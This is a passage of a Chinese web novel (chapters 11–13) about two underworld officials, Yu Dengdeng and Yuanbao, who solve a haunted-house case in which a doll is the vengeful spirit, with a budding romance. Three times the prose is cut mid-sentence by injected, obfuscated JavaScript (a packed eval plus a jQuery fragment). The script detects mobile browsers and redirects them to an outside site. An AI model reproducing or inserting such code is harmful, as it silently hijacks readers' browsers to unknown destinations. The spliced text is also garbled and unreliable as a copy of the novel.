她将那两张红色票据轻轻贴上门把,触碰上的瞬间,票据迅速溶解消散。 于等等和元宝对视一眼,同时深吸一口气,屏住呼吸。 她的手再次搭上门把,缓缓推开。 这次,溺水感没有袭来,但映入眼前的画面比溺水还让她猝不及防。 房间里没有窗户。 天花板上的水晶吊灯摇摇欲坠,看得人心里发毛。本该摆放床的位置,立着一个巨大的玻璃水箱。里面盛满了浑浊的液体,越发浓郁的霉味飘来,呛得于等等喉咙发紧。 水箱外侧贴满了红色票据,层层叠叠。 水箱边缘挂着一个洋娃娃,浑身湿透,破旧的碎花裙往下淌水。 滴答。滴答。 规律的节奏一下一下敲在她耳膜上。 娃娃身边贴着两张票据,于等等眯眼看清了上面的图案——票据上,各自画了一个简笔画笑脸。 “这节奏和我刚刚在门口听到的水滴声一样。”元宝的声音从篮子里传来。 于等等的视线却定在那个娃娃身上。 “元宝,”她的声音压得极低,喉咙发干,“那个娃娃……不是一直在小女孩怀里吗?怎么会在这里?” 身后忽然传来轻微的脚步声。 于等等猛地转身。 小女孩揉着眼睛,光着脚朝她走来,脸上还带着刚睡醒的迷糊。 “妈妈,我的娃娃不见了,你能帮我找找吗?” 11.搭档好像有点眼熟 于等等下意识侧身,想挡住小女孩的视线。 晚了。 小女孩一脚迈进了房间。 于等等看见她的表情从好奇到僵住,最后开始扭曲,五官像融化的蜡像一样变形。 “妈妈,我爸爸呢?” 尖锐的哭嚎炸开。 于等等下意识捂住耳朵,没用。那哭声像是直接钻进脑子里,一下一下搅得她脑仁生疼。 “妈妈,我爸爸呢?” “妈妈,我爸爸呢?” 哭嚎声还在重复。她用对讲器喊元宝,只听到刺啦刺啦的电流杂音。 “这又是什么崩坏规则?难不成真要现场给她变个爹出来?” 她崩溃地开口,声音被那哭喊声压得发飘。 话音落下的瞬间,“咔嚓——” 巨大的水箱轰然碎裂。 浑浊的液体疯涌向四周,瞬间没过脚踝,冰凉刺骨。 于等等踉跄了一下,还没站稳,头顶传来破风声。 一道白光闪过,她被一股力道猛地扯进一个怀抱。天旋地转后,沉闷的响声隔着捂住她耳朵的那只手传来,那双箍住她的手臂又收紧了些。 她的侧脸贴上一个胸膛。 里面的心跳又快又重,隔着湿透的衣料一下下撞进她的耳朵里。 轰鸣声远去,脚下的地面不再震颤。捂住她耳朵的那只手缓缓松开。 “受伤没?” 声音从头顶落下,带着明显的紧绷。 一只手在她手臂上快速按过,又按了按后背。 “有没有扎到玻璃?” 于等等耳朵还在嗡嗡响。她晃了晃脑袋,想说什么,却发现嘴唇有点发抖。 她抬起头。 昏暗的光线里,一双异色瞳正盯着她看。一蓝一黄,亮得惊人。 原来是元宝。 他居然可以变回人形。 于等等心里那根绷紧的弦松了半寸。 “吓傻了?” 元宝蹙着眉又问了句,目光在她脸上来回扫了一遍。 “没……我没事。” 于等等从他怀里退出来,理了理皱成一团的袖子。 胳膊上的锁链随着她的动作发出当啷的脆响。 她看了一眼元宝那身和自己款式相同,颜色却是纯白一片的白无常制服,叹了口气。 “我们的伪装好像失效了。” 元宝嗯了一声,目光扫过破碎的水箱和满地狼藉:“规则彻底崩了。小女孩不见了,那个娃娃也消失了。” 他侧过身打量这个房间,走廊透进来的光线正好打在他转过来的侧脸上。 乌黑的短发被雨水打湿,几缕垂下来遮住一点额头。下颌线条利落,鼻梁挺直,皮肤在昏暗的光线里显得有点苍白。 于等等刚站稳的腿忽然又软了。 那个角度。那个轮廓。 手机相册里删掉的那张照片。 那个只露了侧脸的人。 那个让她在咖啡馆等了三个小时的人…… 心脏漏跳了一拍,然后开始疯了一样乱撞。 可是……怎么可能?? 元宝明明早就不是活人了才对,怎么可能会是“他”? 这个念头卡在脑子里,怎么也转不动。 她呆愣地盯着那张侧脸,雨声、滴水声、不知道哪里传来的窸窣响动好像也变得遥远起来。 腰上忽然一紧。 于等等还没反应过来,身子已经腾了空,她本能地想要挣扎。 “还说不是吓傻了。”元宝带着点无奈的声音落进她耳朵里。“腿软就别逞强。” 抬起一半的手悬在半空,推他不对,搂他也不对。最后只能攥住他湿透的袖口,攥得指节发白。 “我们先离开这里。”元宝的声音好像又近了点。 她僵硬着身子,任由元宝抱着她出门。蓝色木门被元宝随脚一勾,彻底关上。 门板将让人窒息的扭曲感彻底隔绝,但空气里依然弥漫着浓重的水汽和尘土味。天花板开始淅淅沥沥往下渗水,灯光闪烁了几下,变得更暗。 元宝在相对干燥的角落停下,把她轻轻放下,靠墙坐着。 黑色的无常劲装几乎湿透,水滴顺着发梢往下淌,有几滴滑进领口,冰得于等等一哆嗦。 “叮铃——” 于等等抬头。 一把白伞在她头顶撑开。 伞沿坠着一圈细小的银铃。半透明的伞面上,淡金色的符文缓缓流转,隔绝了雨水,也隔绝了嘈杂的雨声。 手好像被握住了。 元宝正半蹲在她面前,握着她的手,指尖在她手背上轻轻蹭过。那里有一道被碎片划出的红痕,不深,但渗着血珠。 他皱着眉,目光在那道红痕上停了两秒,又往上移,扫过她的手臂、肩膀、脖子、脸,最后落在她眼睛上。 “于等等?”他声音很轻,“还能听到我说话吗?” 太近了。 于等等对上他的视线。 近到能看见他瞳孔里倒映着的狼狈的自己。 近到能数清他的睫毛有几根。 近到她看见雨水顺着他脸颊的弧度滑下来,留下一道水痕,又顺着下颌钻进脖颈。 心跳声混在雨声里,停了两拍,随后鼓动起比雨点还要慌乱的节奏。 “能……”她垂下眼,把手从元宝的掌心抽出,努力找回自己的声音,“伞……挺好看的。” 话一出口她就想咬舌头。 说的什么鬼。 元宝看着空荡荡的手心,把手往于等等的方向伸了伸,又收回,嘴角扯动了下,最终还是把手抬了起来,指腹拂过于等等的脸颊。 “沾到灰了。”元宝解释。 他的动作很轻,轻到于等等愣了一下才反应过来。 “被吓到了?” 于等等摇摇头,又点点头,最后干脆胡乱抹了把脸上的水。 视线从他脸上滑过,顿了一下,又飞快收回来,钉在那扇紧闭的蓝色木门上。 “那个小女孩不见了。”她哑声说。 元宝站起身。 那把伞还撑在她头顶,自己的半边肩膀却露在外面,被雨水快速淋透。 “房间规则崩坏,她的执念化身可能暂时溃散了,或者躲到了更深的地方。”他低头看她,“还能继续吗?时间应该不多了。” 于等等深吸一口气。湿凉的空气灌进肺里,冲散了刚才那一瞬间的混乱。 她抬眼看他,扯出一个笑。 “当然。都走到这儿了,哪有临阵脱逃的道理?而且……”她目光扫过他被划破的袖口,那里有红色的痕迹渗出,“你受伤了。” 元宝把她的动作看在眼里。 那双眼底还残留着刚才的慌乱,可嘴角偏偏往上翘着,翘得很努力。 莫名有些烦躁,他强压下那股上涌的情绪,垂下眼,扯了扯袖子,遮住那道红痕。 “小伤。先找怨灵本体。” 于等等看着那把伞始终稳稳撑在她头顶的伞,攥紧了湿冷的掌心。 “嗯。先找怨灵。” 她撑着墙站起来。 元宝伸手扶了她一把,手在她胳膊上顿了一下,又很快松开。 于等等忍不住又看了他一眼。 他正盯着那扇蓝色的房门,侧脸隐在昏暗里,轮廓模糊又清晰。 像那个人。 但只是像而已。 她都没看过那个人的正脸,凭什么确定? 嗯。只是像而已。 她朝元宝靠近了半步,伸手把白骨制成的伞柄往他的方向推了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269234|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推。 “走吧,找找线索。” 伞外的雨好像越来越大,但伞下听来却仿佛隔了很远。 于等等又试了一次对讲机,依然只有电流声。她皱了皱眉。 “地府的道具质量堪忧啊。” “净魂伞应该有一定的隔音效果。”元宝侧过头,声音压低,“我们说话小点声,抓紧我胳——” 他的声音忽然停住。 太近了。 刚才没注意,伞就这么大,两个人挤在下面。他侧过脸低头的时候,气息几乎擦着她的耳廓。 于等等的肩膀绷了一下。 元宝把她的反应看在眼里。 他的目光掠过她耳后,几缕被雨水打湿的发丝黏在那里,有一缕正往下滴水。水珠滑过耳廓,沿着耳垂边缘滚落。 他看见那耳尖慢慢染上一点红,很淡,淡到像是光线造成的错觉。 他收回视线,喉结滚动了一下。 “抓紧我袖子。”他改口,转头看向走廊另一侧,“我们去其他几个房间看看。” 于等等低头看了眼递过来的袖子。 没有红色,不是受伤的那只。 她伸手攥住。 袖子往前带了带,像是在确认她抓稳了没有。伞沿的银铃随着动作发出“叮铃”脆响。 “走了。”元宝没有低头。 “嗯。”她也没有抬头。 两人就这么在净魂伞撑出的这片小小天地里,并肩往走廊深处走去。 走廊两侧还有几扇门,他们在其中一扇前停下。 于等等看了元宝一眼,伸手推开了第一扇。 门轴发出吱呀一声轻响,灰尘味扑面而来。 是个堆满杂物的储藏室。墙角的地面上躺着一个洋娃娃。 和之前那只款式一模一样,只是干净一些,身上没有水渍。 她又推开第二扇门,是个看似正常的卧室。 床上被褥整齐,床头柜上摆着一个娃娃。 还是那个款式,但衣服崭新,裙摆上没有一丝污渍。它正对着门口,脸上挂着甜美的笑。 于等等盯着那个笑,后背泛起一层鸡皮疙瘩。 这是他们进入鬼屋以来,见到的第一个笑着的娃娃。 她下意识攥紧了元宝的袖子,指节抵在他小臂上。那只手臂顿了一下,没有抽开。 第三扇门后,是个简陋的父母房。 里面同样空无一人。 梳妆台上,依然有一个同款娃娃。这次不仅衣服崭新、面带微笑,连头发都更有光泽,鲜亮得和整个房间的风格格格不入。 两人退回走廊,雨点似乎更急了些。 “看来只有走廊在下雨。” 元宝握伞的手收紧了些,伞面符文流转加速,驱散周围的阴湿感。他目光扫过那几扇门。 “每个房间都有娃娃。款式一样,但是……” “越来越新。” 于等等接话,说完自己也愣住了。 她低头看着自己还攥着他袖口的手,脑子里有什么东西正在慢慢拼接起来。 检票员递来的那张票,背面印着湿漉漉的小手印; 见到小女孩后,那个通过眨眼吸引了他们注意力的娃娃; 水箱边缘紧挨着他们两张门票的、浑身湿透的娃娃; 储藏室、卧室、父母房…… 他们每到一个地方,娃娃就会出现,而且存在感越来越强。 她松开元宝的袖子,又猛地攥紧。 “元宝。” 她抬头看他,声音压得极低,心跳却越来越快。 “我们会不会……从最开始就推理错了?” “怨灵本体不是小女孩,也不是爸爸,而是那个从头到尾一直存在的……” “娃娃。” 12.伞给你,保护好自己 “票根背面的手印,小女孩怀里那个会眨眼的娃娃,还有水箱边的那个。” “我们在哪里,娃娃的痕迹就在哪里。” “也许,娃娃跟着的不是小女孩,她跟着的,一直是……” 于等等惊悚地转头,对上元宝的眼睛,用口型说出了剩下的两个字: “我们。” 念头还在脑子里打转,身体已经被一股力道带进怀里。 手臂箍在腰上,力道不重,只是把她圈在怀里。后背贴上元宝的胸膛,即便隔着两层湿透的衣料,那片热度还是烫得她一僵。 感受到怀里的紧绷,元宝垂下眼,看见她耳后的皮肤再次慢慢染上红色。 他把脸侧开一些,避开她的耳畔。 “马上就好。” 于等等还没反应过来这句话是什么意思,伞沿的银铃忽然急促地响起。一圈柔和的白色光晕以伞为中心扩散开,照亮附近湿漉漉的地面。 那些积水像是被唤醒了。 它们开始缓缓波动,浮现出一个个孩童手掌大小的湿痕。一个,两个,三个……最近的几道痕迹,就止步于他们脚边不到一米的地方。 手印又靠近了些。 于等等下意识抓住元宝环在她身前的手臂。 掌心下的那只手臂僵了一瞬,随即一用力,将她往后一带,后退了半步。 “别慌。”元宝把伞又压低了些,“净魂伞有净化怨灵的作用,它暂时不敢进来。” 于等等定了定神。 “所以这雨是为了掩盖它的足迹,”她盯着那些手印,“它一直就在旁边?” “大概率是的。”元宝应道。 “小女孩是幌子,爸爸是陷阱。真正的核心,也许正是这个不断重复被寻找过程的娃娃本身。” 看着脚边还在试图靠近的小手印,元宝握伞的手又是一动,银铃脆响交织。离他们最近的那个小手印瞬间消失。 于等等松了口气。 “所以它想要的不是家庭,而是——” 她一边说一边抬头去看元宝,剩下的话突然卡在了喉咙里。 离得也太近了吧。 近到能看见他下巴上挂着的水珠,近到她只要再往前一点,就能碰到他的脖子。 刚松下去的那口气又提了起来。 她快速把视线收回,发直地盯着前面的积水,声音有些飘。 “而是所有家庭成员对它的关注……” “嗯。” 感受到元宝点头的动作,于等等努力把杂念从脑子里剔出去,继续分析: “所以这里的规则不是扮演,或者说不完全是。扮演是行为,而目的则是补位。补的不仅是家庭成员,更是它在家庭中被需要的执念。” “我们之前的互动、拒绝、给予、讨论,都在强化它的存在感。而娃娃越来越新的变化,正是它想要获得关注的证明。” 元宝这次没有接话,但于等等能感觉到,身后那颗心跳得更快了,一下一下撞在她后背上。 元宝松开了手臂。 胸膛撤走的时候,于等等的肩膀终于得以放松。刚放松到一半,手腕突然又被抓住。 “?!” 她下意识想抽回来。 没抽动。 于等等眨了眨眼,抬头看元宝。 元宝与她对面对站定,展开她的手掌,食指抵上她的掌心。 第一笔,横折。 第二笔,横。 第三笔…… 于等等屏住呼吸。 指尖划过掌心,一笔一笔烙在她皮肤上。她想抽回手的念头早就不见了,只剩下那股热意顺着掌心一路往上蹿,蹿到手腕,蹿到小臂,蹿得她心跳又乱了好几拍。 最后一笔落完,她勉强认了出来。 【引】? 她用口型向元宝确认。 元宝点了下头,继续写第二个字。 于等等按捺住心里的不自在,继续仔细感受。 【爸】? 元宝再次点头,松开了手。 于等等眸光闪了闪。 娃娃如今已经获得了小女孩的关注,获得了于等等扮演的妈妈的关注。在这个家庭里,它只剩下爸爸的关注没有获得。 想到这里,于等等脑子里轰的一声。 这里唯一还可以担任爸爸角色的,只有…… 她猛地伸手,想抓住元宝却只摸到一片衣角。 伞柄被强行塞进她手里,还带着他掌心的温度。元宝后退了一大步,素白袍服彻底暴露在越来越密的雨里。 雨水顺着他的刘海滑落,打湿的黑发黏在那张毫无血色的脸上。 他站在对面,隔着雨帘看她,眸光里闪动着于等等看不懂的情绪。 “于等等,伞拿好,保护好自己。” “元宝——!”于等等追着他上前,“或许还有别的办法,这样太冒险了!” 脚还没落地,一道浑浊的水流忽然从地面涌起,狠狠撞在她小腿上。那力道又冷又重,冰得她一哆嗦,整个人踉跄了一步。 元宝条件反射地抬起手,抬到一半又放下。 他对着于等等露出化成人形以来的第一个笑。 “放心,真到了危险关头我就哭。只要我哭得够快,它就伤害不到我。” 听着自己不久前的调侃从元宝嘴里说出来,还这么一本正经,于等等心里说不出是什么滋味。 “你平时那假正经的样子,能保证立马哭出来吗?”她扶着墙站稳,试图从拦住她去路的水流中找到突破口。 “别逞强了,我们一起,肯定还有别的办法。” “那你就在这里看好我。”元宝没接她的话,“一定要在我遇到危险前哭出来。这下后背真的交给你了,搭档。” 不再等于等等回应,他果断转身,大步朝着走廊另一头走去。 “元宝!” 看着那在雨里越来越模糊的背影,于等等急得大喊,喊出声才发现声音是抖的。 尾音飘在半空,怎么也落不下去。 她盯着那道乱窜的水流,好不容易找到了一个破绽。刚往前迈了一步,另一道更大的水流就迎面撞上来,狠狠砸在她小腿上。 力道比之前那条还重,冰得她又一个哆嗦,整个人往后退了半步。 她稳住身形,试图换个方向突破。 那水像是长了眼睛,她往左,它就往左;她往右,它就往右。两道水流互相夹击,死死把她拦在原地。 水花溅起来打湿了裤脚,凉意顺着小腿往上爬。于等等急得想跺脚,攥着伞柄的指节都发了白。 她真的,恨不得直接把伞丢到那个招呼都不打,就擅自行动的白无常头顶。 又试了几次,依然冲不出去,于等等只得按下情绪,努力透过雨幕观察元宝附近的变化。 他脚边也涌起一条条水柱,它们像虫子一样爬到一起,汇聚,堆叠,最后拱出一个滴着水的娃娃黑影。 那个黑影越长越大,一直长到人类六岁孩童的大小才终于停止。 它伸出那只滴着水的手臂,抓向元宝,嘴里喃喃着:“爸爸……爸爸……” 于等等的心简直提到了嗓子眼。 她心一横,想着干脆一不做二不休。 自己好歹也是个黑无常,打不打得过另说,牵制的能力总该有吧? 想到这里,她一把扯下手臂上的锁链,对准那孩童水影的方向正要甩出,余光里忽然有个黑影一闪。 于等等下意识抬头。 正月正抱着手臂,闲适地坐在走廊的装饰横梁上,居高临下地看着那团人形水影。 “找到你了。” 他慢悠悠地开口,声音平淡得像在说今天天气不错。 话音落下的瞬间,他一个下跃,精准落到那个彻底化形的孩童身后。眼看孩童的手掌就要碰到元宝的手臂,正月伸手在它后颈上一拎。 孩童的笑容瞬间扭曲。 惨叫声中,身上的怨气被强行抽离,最后变回了他们最开始见到的那个破旧洋娃娃,在正月手里晃晃荡荡。 走廊的雨彻底停了。 只剩下满地狼藉的水渍,以及两个浑身湿透的黑白无常。 于等等腿一软,差点跪下去。 这次不是吓的,真的只是劫后余生。 她撑着墙站稳,看向远处的元宝。 元宝也正回头看她。雨水还顺着他的发梢往下淌,那双异色瞳在昏暗里亮得惊人。 正月目光在两人之间扫了一圈,嘴角扯了扯。 “还行,没哭。” 于等等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271023|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……” “耗时2小时53分钟,勉强及格。不过……” 他瞥了眼元宝还在渗血的袖口,又看了看于等等有些苍白又强自镇定的脸,话音一转。 “心思飘得太远,力量就跟不上,协同度自然也会受影响。” 于等等心里咯噔一下。 脑子里不受控制地闪过刚才被抱进怀里时的温度,闪过掌心那一笔一画的灼热,闪过他侧过脸避开她耳畔时的睫毛。 她飞快地把那些画面按下去,看向面前跳出的系统光屏,结果……彻底红了耳根。 【临时协作任务“游乐园的怨灵”完成。协同度大幅波动……】 【峰值检测:+20%】 【检测到严重情绪干扰,协同度校准中……】 【最终核定:协同度+8%,当前协同度:37%】 她看着那个“严重情绪干扰”的字样,盯了一会,又盯了一会,最后鼓着脸关掉了光屏。 走廊开始坍塌,墙壁和天花板一层层剥落。 不断崩解的幻境中,正月不紧不慢的声音再次传来:“总的来说,加课效果不错,下次继续。” 于等等还没来得及感受被夸的愉悦,就被灰尘呛得咳嗽起来。 手里的净魂伞明明灭灭,光芒也越来越暗,眼看就要彻底消散,一只手突然覆上她的手背。 元宝掌心传来的力量温润绵长,透过她的手背一路淌进伞柄。净魂伞重新凝实,光晕撑开,将粉尘和坍塌声再次隔绝在外。 坍塌还在持续,鬼屋外侧的墙壁破开一个大洞。 不远处,刚拍完外景正准备寻找新角度的阿飘,手中的铜钱相机几乎是条件反射地对准了过来。 镜头里,时空仿佛被切割成两个世界: 崩塌的幻境碎片簌簌落下,尘埃与光影乱舞。 背景,是威严冷漠,但手持洋娃娃的黑无常正月。 前景,是略显狼狈,但并肩而立的俊秀黑白无常。 白无常身形高挑,符文流转的伞面微倾,恰好将身旁矮了一头的黑无常笼在光晕下。 他维持着撑伞的姿势,一只手抬起,指尖掠过对方黏着碎发的颊边,轻轻将那缕湿发别至耳后。 指尖碰到耳廓的时候,于等等又不争气地僵住了…… 她仰着脸看他,忘了呼吸,也忘了身后还在塌落的废墟。 元宝的视线在她脸上停了一瞬,很快移开,垂下手臂。 废墟在身后轰然塌落,伞下却自成一方静谧天地。 “咔嚓!” 脆响声让于等等回过神来。 她顺着声音看去,废墟破口处,阿飘正举着相机,眼睛瞪得老大,嘴角咧开一个极度兴奋的弧度。 “……艹,头条!这必须是下一期的头条!!” 于等等盯着阿飘手里的相机,看了两秒才反应过来他拍的是什么。 耳根腾地烫了起来。 她飞快收回视线,手比脑子还乱。等意识到的时候,她已经再次抓住了元宝撑伞的衣袖,手心湿冷一片。 “你……你刚刚……肩膀湿透了。” “伞小。”元宝面不改色。 “明明是你把伞全偏我这儿了。” “你太矮,只能斜着打。” “……” 于等等被噎得说不出话。她想反驳,抬头却看见他半边肩膀湿透了,雨水顺着衣摆还在往下淌。 话堵在喉咙里,最后只化成一句干巴巴的:“……撑伞都不会。” 声音小得像说给自己听。 废墟另一侧,正月已经收好了那只彻底安静的娃娃。他目光扫过来,在于等等扯着元宝袖口的手上停了一瞬,几不可察地挑了下眉梢。 “行了,收工。” 他扔下这句,身影迅速淡去。 坍塌终于停止,净魂伞化为光点消失。 元宝的身形也开始不稳定地闪烁,轮廓变得模糊起来。 于等等盯着他,张了张嘴。 那句堵在喉咙里的“你到底是谁”几乎要冲出来,可话到嘴边,看见他苍白的脸和还在渗血的袖口,又咽了回去。 她垂下眼,再抬起来时,只说出一句干涩的: “你……你的伤,还有,你好像要变回去了……” 13.会提前告诉你 头顶的净魂伞已彻底消散,元宝身形也在闪烁,眼看就要维持不住。 废墟另一头传来气喘吁吁的声音: “人呢?人呢?正月那老六没把你们怎么……卧槽?!” 魏今安拨开碎木板冲进来,看见化成人形的元宝,眼珠子差点瞪出来。 他猛地扭头看向旁边的于等等。 那张本就惨白的脸现在更加惨白,眼神里还明晃晃地写满了惊惧。 于等等被他这副表情弄得一愣。 不会是没认出来元宝吧? 她下意识就要解释:“魏判官,这是元……” “我知道!”魏今安差点喊破了音,“他用了体验卡!临时体验卡!一天只能撑一个小时!我知道!” “体验卡?” 于等等眨了眨眼。 “那是什么?” 她是真不知道。 本来还以为是像电视剧里那样,情况紧急意外激发了力量,结果竟然是因为道具? 魏今安还在盯着她看,目光怪怪的。 于等等得有些不自在,正想继续开口问,他却忽然干笑两声,声音都轻快了。 “对对对,就是系统商城的小玩意儿……元宝你快撑不住了,赶紧变回来!” 话音刚落,元宝手腕的铃铛一震。 系统弹窗跳出,于等等瞥了一眼上面的字: 【黑无常·正月向您赠送了物品】 附件是一管流动着乳白光泽的药剂。 备注:【找搭档要的,白无常专用。喝了。】 元宝没犹豫,取出药剂一口灌下。 药剂入喉的瞬间,身体的闪烁瞬间停止,一股柔和的力量在体内蔓延开。每过一处,那股虚软的感觉就淡一分,脚下也能站得更稳。 【谢谢前辈。】 他抬手回复了邮件,觉得腕间沉沉的,低头看去,忍不住笑出来。 “袖子。”元宝抬了抬胳膊,“快被你扯破了。” 本来因为元宝面色终于恢复了些,而稍微放松的于等等,顺着他的视线看下去。 自己的手指还紧紧攥着他袖口,指甲都攥得发白。 她慌忙松手。 指尖蹭过他的手臂,元宝的皮肤因药液的作用温度比之前高了些,烫得她指尖蜷缩了一下。 “还疼吗?”她又看了眼刚才伤口的位置。 元宝撸起袖子。原本还在渗血的伤口,现在只剩一道淡淡的红痕。 他活动了一下手腕。 “不疼了。药效比想象的好。” “……那就好。” 魏今安的目光还在她和元宝之间打转,脸上的表情依然微妙。他凑过来看元宝的状态:“正月给的?那家伙居然也会操心后辈了?” 元宝还没来得及和他搭话,不远处传来一阵惊叫。 “魏大人!你居然也来了!” 阿飘突然从阴影里蹿了出来,举着相机就往魏今安面前凑: “快看我拍到了什么!你从哪儿找的这种神仙新人?要颜值有颜值,要剧情有剧情,行走的素材库啊!” 于等等被阿飘的话吸引了视线,扭头看过去。 前一秒还歪着身子调侃正月的魏今安,听到这话后腰板瞬间挺直。他瞥了眼怼到面前的相机屏幕,眼神忽然就变了。 先是愣住,像是在确认什么。 然后眼睛一点点亮起来,像是看见了什么不得了的东西。 她就这么看着那双眼睛越来越亮,亮到最后,简直要射出光来。 魏今安一把揽过阿飘的肩膀,压低声音嘀咕起来。于等等一开始还竖着耳朵仔细听,可越听到后面,越觉得不对劲。 “怎么样?是不是绝配!!我跟你讲,他俩从灵魂互换开始就特别有缘!啧啧……我们内部都嗑疯了!群都建好了!CP名芋圆,于等等和元宝,贴不贴?!” 只见阿飘眼睛越瞪越大,嘴巴张成一个O型,最后拼命点头。 “CP名妙啊!!居然还有群聊?!快快快拉我进去!这种一线吃瓜位必须有我!!!” 于等等抽了抽嘴角。 她突然后悔自己站得这么近了,怎么就好奇心这么重,非要听这么一耳朵呢? 这都什么跟什么?! 好歹也是地府工作人员吧,怎么一个比一个八卦? 还有,你们讨论就讨论,干嘛说两句还要往这边看一眼?! 于等等努力忽视刚刚听到的“绝配”“CP”“嗑疯了”之类的关键词,脸颊却不受控制地越来越热。 忽然,一个白色身影站到她面前,隔开了那两道火热的视线。 元宝轻咳了一声。 那两人终于舍得分开,各自一本正经地站定。 “咳咳,说正事。”魏今安理了理判官袍,“这游乐园里还滞留着上千游魂,正好给你们练练手,攒点功德。” 他转向元宝:“还能动吧?用你的招魂幡,先把这些迷茫的游魂引到这片空地上来。” 元宝点头。 只见他目光一凝,一杆小巧的幡旗在掌心浮现,随后越变越大。 那幡旗通体素白,旗面上隐约有暗纹流转,边缘坠着细细的白穗,无风自动。握在他手里,衬得那身白无常袍服更加清冷。 元宝握着幡杆,轻轻一抖。 空气似乎波动了一下。 于等等感觉到,以招魂幡为中心,一股股涟漪般的力量正不断散发出来。 废墟各处,开始逐渐有游魂从阴影里飘出。 他们一个个茫然呆滞,却像是被什么无形的波动牵引着,一个接一个,密密麻麻汇聚到空地上,将他们几人围在中间。 即使有魏今安在场,于等等也还是有些发憷。被这么多游魂盯着,尽管知道他们没有意识,但总归还是不自在的。 她不自觉向元宝靠近了一步。 元宝垂首看了她一眼,又环顾了下周围形态各异的游魂,也朝她靠近了半步。闭眼凝神片刻,又睁开。 “我能感知到的魂体都在这里了。” 魏今安拿出三折叠手机,戳戳点点,又举起来原地转了一圈。 “不错不错,确实都齐了。”他抱着胳膊上前一步,转向于等等。 “接下来,我教你黑无常基础工作的收魂诀。这是批量处理低阶游魂的高效方法。集中精神,感应你的锁魂链,默念:【魂归有处,引渡黄泉】。” 于等等闭上眼睛,把意念集中在右臂缠绕的锁链上。 那锁链像是感应到了什么,发出轻微的嗡鸣,震得她手腕有点麻。 默念出口诀的瞬间,臂上的锁魂链像是忽然活了过来,发出轻微嗡鸣。 随后骤然分解,化成无数条黑色的链影从她手臂上飞出去,扑向那群游魂。 于等等没想到会有这样的变化,却也意料之外的没被吓到,总觉得这种场面见怪不怪。 或许是今晚经历的事情太多,精神麻木了。 她把注意力转到那些四散的链影上。 每条链影顶端都衔着一个发光的钩爪。 缠上游魂的瞬间,那道魂体便迅速透明,化作点点光芒。 不过几息之间,满场的游魂全变成了漫天光点,像萤火虫一样飘起来,纷纷没入她和元宝腕上的铃铛里。 系统光幕不断跳出提示: 【叮——成功接引游魂x1,功德积分+1】 快门声在耳边响成一片。 阿飘激动得声音都在抖:“绝了……绝了!!这画面能当年度最佳!功德无量啊!” 最后一个游魂化作光点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277950|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没入铃铛时,系统提示终于定格。 【统计:接引游魂1027名。】 【奖励:基础功德积分1027,超额完成隐藏指标,额外奖励功德积分1000。】 【总计获得功德积分:2027。】 【协同检测:联合任务完成,配合默契,协同度+3%。当前:40%。】 2027积分! 于等等被那数字惊了一下。 她能明显地感受到铃铛里的魂力充盈了不少。 这种感觉很奇妙,像是吃了半辈子素的人终于吃到肉,才发现原来世上有这么好吃并且让人满足的东西。 四散的链影重新凝聚成锁魂链,自动缠上她的手臂。 这次,和法器的连接感似乎也更明显了。 她兴奋地想和元宝分享,却在转头后被吓了一跳。 元宝那刚恢复没多久的面色此刻又白了下去,招魂幡消散了,身上再次闪烁起淡淡白光,身形也有些晃荡。 “元宝!”于等等下意识上前一步扶住他的手臂。 不知道是不是魂力充足的缘故,元宝借力站稳的这下,于等等竟然一点也不觉得沉重。 元宝反手轻轻握了下她的手腕。那只手不再像之前那般灼热。她没抽回,他也没有松开。 “没事。”元宝声音有些低哑,“就是有点累。” 于等等直直盯着他,想确认他话里的真假。却见元宝忽然扬了下嘴角。 “赚了挺多,不亏。” 于等等哭笑不得。 这人怎么每次都是这样?在最紧张的时刻,说着最无厘头的话。 她还想再问两句,元宝忽然收敛了笑意,那眼神看得于等等心跳漏了半拍。 “于等等。” “嗯?”于等等努力维持面上的淡定。 “今天是不是吓到你了?”他低头打量了下自己浑身素白的装扮,似乎在斟酌着用词,“我……忽然变成这样。” 于等等张了张嘴。 那句“更吓人的是你那张脸”几乎要冲出来。 可话到嘴边,看见元宝苍白的面色,又咽了回去。 她垂下眼,避开他的视线,手指捻着衣摆,含糊地“嗯”了一声。 “不是故意瞒你。” 元宝握着她手腕的手指收紧了些,又很快松开,像是怕弄疼她。 于等等看着他抓住自己手臂的那只手,看了会,收回目光,继续捻衣摆。 这次带上了点力气。 这人是不是对自己的力气没有认知? 明明每次抓的都不重,那么急着松开干什么。 她悄悄撇了撇嘴,听他继续说下去。 “体验卡时效不稳定,我自己也没把握。”他边说边观察于等等的面色,却只能看到她垂下的睫毛。 “下次……会提前告诉你。” 